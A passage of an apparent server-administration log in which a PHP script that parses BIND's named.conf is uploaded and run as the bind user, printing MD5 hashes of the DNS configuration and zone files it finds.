MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:03:43: Establishing a connection
2026-04-25 18:03:43: 

PUT: /tmp/pkp488757

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:03:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp488757; rm /tmp/pkp488757'

2026-04-25 18:03:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:03:51: Establishing a connection
2026-04-25 18:03:51: 

PUT: /tmp/pkp782405

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:03:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp782405; rm /tmp/pkp782405'

2026-04-25 18:03:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
